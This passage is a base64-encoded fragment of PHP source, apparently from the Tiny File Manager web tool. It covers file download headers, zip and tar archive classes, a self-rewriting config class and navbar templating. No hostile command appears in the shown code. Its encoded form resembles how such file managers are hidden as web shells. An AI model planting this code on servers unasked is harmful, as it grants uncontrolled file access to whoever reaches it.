QVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgIH1cbiAgICBcbiAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTtcbiAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTtcbiAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCcpO1xuICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTtcbiAgICBoZWFkZXIoXCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnlcIik7XG4gICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiAkY29udGVudFR5cGVcIik7XG5cbiAgICAkY29udGVudERpc3Bvc2l0aW9uID0gJ2F0dGFjaG1lbnQnO1xuXG4gICAgaWYgKHN0cnN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sIFwiTVNJRVwiKSkge1xuICAgICAgICAkZmlsZU5hbWUgPSBwcmVnX3JlcGxhY2UoJ1wvXFwuXC8nLCAnJTJlJywgJGZpbGVOYW1lLCBzdWJzdHJfY291bnQoJGZpbGVOYW1lLCAnLicpIC0gMSk7XG4gICAgICAgIGhlYWRlcihcIkNvbnRlbnQtRGlzcG9zaXRpb246ICRjb250ZW50RGlzcG9zaXRpb247ZmlsZW5hbWU9XFxcIiRmaWxlTmFtZVxcXCJcIik7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1EaXNwb3NpdGlvbjogJGNvbnRlbnREaXNwb3NpdGlvbjtmaWxlbmFtZT1cXFwiJGZpbGVOYW1lXFxcIlwiKTtcbiAgICB9XG5cbiAgICBoZWFkZXIoXCJBY2NlcHQtUmFuZ2VzOiBieXRlc1wiKTtcbiAgICAkcmFuZ2UgPSAwO1xuXG4gICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1JBTkdFJ10pKSB7XG4gICAgICAgIGxpc3QoJGEsICRyYW5nZSkgPSBleHBsb2RlKFwiPVwiLCAkX1NFUlZFUlsnSFRUUF9SQU5HRSddKTtcbiAgICAgICAgc3RyX3JlcGxhY2UoJHJhbmdlLCBcIi1cIiwgJHJhbmdlKTtcbiAgICAgICAgJHNpemUyID0gJHNpemUgLSAxO1xuICAgICAgICAkbmV3X2xlbmd0aCA9ICRzaXplIC0gJHJhbmdlO1xuICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1MZW5ndGg6ICRuZXdfbGVuZ3RoXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LVJhbmdlOiBieXRlcyAkcmFuZ2Ukc2l6ZTJcLyRzaXplXCIpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgICRzaXplMiA9ICRzaXplIC0gMTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1SYW5nZTogYnl0ZXMgMC0kc2l6ZTJcLyRzaXplXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LUxlbmd0aDogXCIgLiAkc2l6ZSk7XG4gICAgfVxuICAgICRmaWxlTG9jYXRpb24gPSByZWFscGF0aCgkZmlsZUxvY2F0aW9uKTtcbiAgICB3aGlsZSAob2JfZ2V0X2xldmVsKCkpIG9iX2VuZF9jbGVhbigpO1xuICAgIHJlYWRmaWxlKCRmaWxlTG9jYXRpb24pO1xuXG4gICAgZmNsb3NlKCRmcCk7XG5cbiAgICByZXR1cm4gKChjb25uZWN0aW9uX3N0YXR1cygpID09IDApIGFuZCAhY29ubmVjdGlvbl9hYm9ydGVkKCkpO1xufVxuXG5cLyoqXG4gKiBDbGFzcyB0byB3b3JrIHdpdGggemlwIGZpbGVzICh1c2luZyBaaXBBcmNoaXZlKVxuICpcL1xuY2xhc3MgRk1fWmlwcGVyXG57XG4gICAgcHJpdmF0ZSAkemlwO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT56aXAgPSBuZXcgWmlwQXJjaGl2ZSgpO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnppcC0+b3BlbigkZmlsZW5hbWUsIFppcEFyY2hpdmU6OkNSRUFURSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKGlzX2FycmF5KCRmaWxlcykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRmID0gZm1fY2xlYW5fcGF0aCgkZik7XG4gICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRmlsZU9yRGlyKCRmKSkge1xuICAgICAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTtcbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogRXh0cmFjdCBhcmNoaXZlICRmaWxlbmFtZSB0byBmb2xkZXIgJHBhdGggKFJFTEFUSVZFIE9SIEFCU09MVVRFIFBBVEhTKVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoJGZpbGVuYW1lLCAkcGF0aClcbiAgICB7XG4gICAgICAgICRyZXMgPSAkdGhpcy0+emlwLT5vcGVuKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCR0aGlzLT56aXAtPmV4dHJhY3RUbygkcGF0aCkpIHtcbiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+emlwLT5hZGRGaWxlKCRmaWxlbmFtZSk7XG4gICAgICAgIH0gZWxzZWlmIChpc19kaXIoJGZpbGVuYW1lKSkge1xuICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5hZGREaXIoJGZpbGVuYW1lKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRGlyKCRwYXRoKVxuICAgIHtcbiAgICAgICAgaWYgKCEkdGhpcy0+emlwLT5hZGRFbXB0eURpcigkcGF0aCkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpO1xuICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkge1xuICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykge1xuICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT56aXAtPmFkZEZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cbn1cblxuXC8qKlxuICogQ2xhc3MgdG8gd29yayB3aXRoIFRhciBmaWxlcyAodXNpbmcgUGhhckRhdGEpXG4gKlwvXG5jbGFzcyBGTV9aaXBwZXJfVGFyXG57XG4gICAgcHJpdmF0ZSAkdGFyO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT50YXIgPSBudWxsO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkdGhpcy0+dGFyID0gbmV3IFBoYXJEYXRhKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmIChpc19hcnJheSgkZmlsZXMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHtcbiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUylcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAgICAgKiBAcmV0dXJuIGJvb2xcbiAgICAgKlwvXG4gICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnRhci0+b3BlbigkZmlsZW5hbWUpO1xuICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdGhpcy0+dGFyLT5leHRyYWN0VG8oJHBhdGgpKSB7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkZmlsZW5hbWUpO1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBBZGQgZm9sZGVyIHJlY3Vyc2l2ZWx5XG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aClcbiAgICB7XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGREaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTYXZlIENvbmZpZ3VyYXRpb25cbiAqXC9cbmNsYXNzIEZNX0NvbmZpZ1xue1xuICAgIHZhciAkZGF0YTtcblxuICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgIGdsb2JhbCAkcm9vdF9wYXRoLCAkcm9vdF91cmwsICRDT05GSUc7XG4gICAgICAgICRmbV91cmwgPSAkcm9vdF91cmwgLiAkX1NFUlZFUltcIlBIUF9TRUxGXCJdO1xuICAgICAgICAkdGhpcy0+ZGF0YSA9IGFycmF5KFxuICAgICAgICAgICAgJ2xhbmcnID0+ICdlbicsXG4gICAgICAgICAgICAnZXJyb3JfcmVwb3J0aW5nJyA9PiB0cnVlLFxuICAgICAgICAgICAgJ3Nob3dfaGlkZGVuJyA9PiB0cnVlXG4gICAgICAgICk7XG4gICAgICAgICRkYXRhID0gZmFsc2U7XG4gICAgICAgIGlmIChzdHJsZW4oJENPTkZJRykpIHtcbiAgICAgICAgICAgICRkYXRhID0gZm1fb2JqZWN0X3RvX2FycmF5KGpzb25fZGVjb2RlKCRDT05GSUcpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAnVGlueSBGaWxlIE1hbmFnZXI8YnI+RXJyb3I6IENhbm5vdCBsb2FkIGNvbmZpZ3VyYXRpb24nO1xuICAgICAgICAgICAgaWYgKHN1YnN0cigkZm1fdXJsLCAtMSkgPT0gJ1wvJykge1xuICAgICAgICAgICAgICAgICRmbV91cmwgPSBydHJpbSgkZm1fdXJsLCAnXC8nKTtcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+JztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+U2VlbXMgbGlrZSB5b3UgaGF2ZSBhIHRyYWlsaW5nIHNsYXNoIG9uIHRoZSBVUkwuJztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+VHJ5IHRoaXMgbGluazogPGEgaHJlZj1cIicgLiAkZm1fdXJsIC4gJ1wiPicgLiAkZm1fdXJsIC4gJzxcL2E+JztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGRpZSgkbXNnKTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoaXNfYXJyYXkoJGRhdGEpICYmIGNvdW50KCRkYXRhKSkgJHRoaXMtPmRhdGEgPSAkZGF0YTtcbiAgICAgICAgZWxzZSAkdGhpcy0+c2F2ZSgpO1xuICAgIH1cblxuICAgIGZ1bmN0aW9uIHNhdmUoKVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRjb25maWdfZmlsZTtcbiAgICAgICAgJGZtX2ZpbGUgPSBpc19yZWFkYWJsZSgkY29uZmlnX2ZpbGUpID8gJGNvbmZpZ19maWxlIDogX19GSUxFX187XG4gICAgICAgICR2YXJfbmFtZSA9ICckQ09ORklHJztcbiAgICAgICAgJHZhcl92YWx1ZSA9IHZhcl9leHBvcnQoanNvbl9lbmNvZGUoJHRoaXMtPmRhdGEpLCB0cnVlKTtcbiAgICAgICAgJGNvbmZpZ19zdHJpbmcgPSBcIjw/cGhwXCIgLiBjaHIoMTMpIC4gY2hyKDEwKSAuIFwiXC9cL0RlZmF1bHQgQ29uZmlndXJhdGlvblwiIC4gY2hyKDEzKSAuIGNocigxMCkgLiBcIiR2YXJfbmFtZSA9ICR2YXJfdmFsdWU7XCIgLiBjaHIoMTMpIC4gY2hyKDEwKTtcbiAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRmbV9maWxlKSkge1xuICAgICAgICAgICAgJGxpbmVzID0gZmlsZSgkZm1fZmlsZSk7XG4gICAgICAgICAgICBpZiAoJGZoID0gQGZvcGVuKCRmbV9maWxlLCBcIndcIikpIHtcbiAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkY29uZmlnX3N0cmluZywgc3RybGVuKCRjb25maWdfc3RyaW5nKSk7XG4gICAgICAgICAgICAgICAgZm9yICgkeCA9IDM7ICR4IDwgY291bnQoJGxpbmVzKTsgJHgrKykge1xuICAgICAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkbGluZXNbJHhdLCBzdHJsZW4oJGxpbmVzWyR4XSkpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmaCk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59XG5cblwvXC8tLS0gVGVtcGxhdGVzIEZ1bmN0aW9ucyAtLS1cblxuXC8qKlxuICogU2hvdyBuYXYgYmxvY2tcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfbmF2X3BhdGgoJHBhdGgpXG57XG4gICAgZ2xvYmFsICRsYW5nLCAkc3RpY2t5X25hdmJhciwgJGVkaXRGaWxlO1xuICAgICRpc1N0aWNreU5hdkJhciA9ICRzdGlja3lfbmF2YmFyID8gJ2ZpeGVkLXRvcCcgOiAnJztcbj8+XG4gICAgPG5hdiBjbGFzcz1cIm5hdmJhciBuYXZiYXItZXhwYW5kLWxnIG1iLTQgbWFpbi1uYXYgPD9waHAgZWNobyAkaXNTdGlja3lOYXZCYXIgPz4gYmctYm9keS10ZXJ0aWFyeVwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICA8YSBjbGFzcz1cIm5hdmJhci1icmFuZFwiPiA8P3BocCBlY2hvIGxuZygnQXBwVGl0bGUnKSA/PiA8XC9hPlxuICAgICAgICA8YnV0dG9uIGNsYXNzPVwibmF2YmFyLXRvZ2dsZXJcIiB0eXBlPVwiYnV0dG9uXCIgZGF0YS1icy10b2dnbGU9XCJjb2xsYXBzZVwiIGRhdGEtYnMtdGFyZ2V0PVwiI25hdmJhclN1cHBvcnRlZENvbnRlbnRcIiBhcmlhLWNvbnRyb2xzPVwibmF2YmFyU3VwcG9ydGVkQ29udGVudFwiIGFyaWEtZXhwYW5kZWQ9XCJmYWxzZVwiIGFyaWEtbGFiZWw9XCJUb2dnbGUgbmF2aWdhdGlvblwiPlxuICAgICAgICAgICAgPHNwYW4gY2xhc3M9XCJuYXZiYXItdG9nZ2xlci1pY29uXCI+PFwvc3Bhbj5cbiAgICAgICAgPFwvYnV0dG9uPlxuICAgICAgICA8ZGl2IGNsYXNzPVwiY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlXCIgaWQ9XCJuYXZiYXJTdXBwb3J0ZWRDb250ZW50XCI+XG5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgICAgICAgICAgJHJvb3RfdXJsID0gXCI8YSBocmVmPSc/cD0nPjxpIGNsYXNzPSdmYSBmYS1ob21lJyBhcmlhLWhpZGRlbj0ndHJ1ZScgdGl0bGU9J1wiIC4gRk1fUk9PVF9QQVRIIC4gXCInPjxcL2k+PFwvYT5cIjtcbiAgICAgICAgICAgICRzZXAgPSAnPGkgY2xhc3M9XCJicmVhZC1jcnVtYlwiPiBcLyA8XC9pPic7XG4gICAgICAgICAgICBpZiAoJHBhdGggIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZXhwbG9kZWQgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgICAgICAgICAkY291bnQgPSBjb3VudCgkZXhwbG9kZWQpO1xuICAgICAgICAgICAgICAgICRhcnJheSA9IGFycmF5KCk7XG4gICAgICAgICAgICAgICAgJHBhcmVudCA9ICcnO1xuICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjb3VudDsgJGkrKykge1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50ID0gdHJpbSgkcGFyZW50IC4gJ1wvJyAuICRleHBsb2RlZFskaV0sICdcLycpO1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50X2VuYyA9IHVybGVuY29kZSgkcGFyZW50KTtcbiAgICAgICAgICAgICAgICAgICAgJGFycmF5W10gPSBcIjxhIGhyZWY9Jz9wPXskcGFyZW50X2VuY30nPlwiIC4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRleHBsb2RlZFskaV0pKSAuIFwiPFwvYT5cIjtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgJHJvb3RfdXJsIC49ICRzZXAgLiBpbXBsb2RlKCRzZXAsICRhcnJheSk7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPVwiY29sLXhzLTYgY29sLXNtLTVcIj4nIC4gJHJvb3RfdXJsIC4gJGVkaXRGaWxlIC4gJzxcL2Rpdj4nO1xuICAgICAgICAgICAgPz5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy02IGNvbC1zbS03XCI+XG4gICAgICAgICAgICAgICAgPHVsIGNsYXNzPVwibmF2YmFyLW5hdiBqdXN0aWZ5LWNvbnRlbnQtZW5kXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtIG1yLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJpbnB1dC1ncm91cCBpbnB1dC1ncm91cC1zbSBtci0xXCIgc3R5bGU9XCJtYXJnaW4tdG9wOjRweDtcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24yXCIgaWQ9XCJzZWFyY2gtYWRkb25cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwiaW5wdXQtZ3JvdXAtdGV4dCBicmwtMCBicnItMFwiIGlkPVwic2VhcmNoLWFkZG9uMlwiPjxpIGNsYXNzPVwiZmEgZmEtc2VhcmNoXCI+PFwvaT48XC9zcGFuPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kIGJ0bi1ncm91cFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHQgZHJvcGRvd24tdG9nZ2xlIGJybC0wXCIgZGF0YS1icy10b2dnbGU9XCJkcm9wZG93blwiIGFyaWEtaGFzcG9wdXA9XCJ0cnVlXCIgYXJpYS1leHBhbmRlZD1cImZhbHNlXCI+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImRyb3Bkb3duLW1lbnUgZHJvcGRvd24tbWVudS1yaWdodFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJkcm9wZG93bi1pdGVtXCIgaHJlZj1cIjw/cGhwIGVjaG8gJHBhdGgyID0gJHBhdGggPyAkcGF0aCA6ICcuJzsgPz5cIiBpZD1cImpzLXNlYXJjaC1tb2RhbFwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNzZWFyY2hNb2RhbFwiPjw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZCBTZWFyY2gnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgI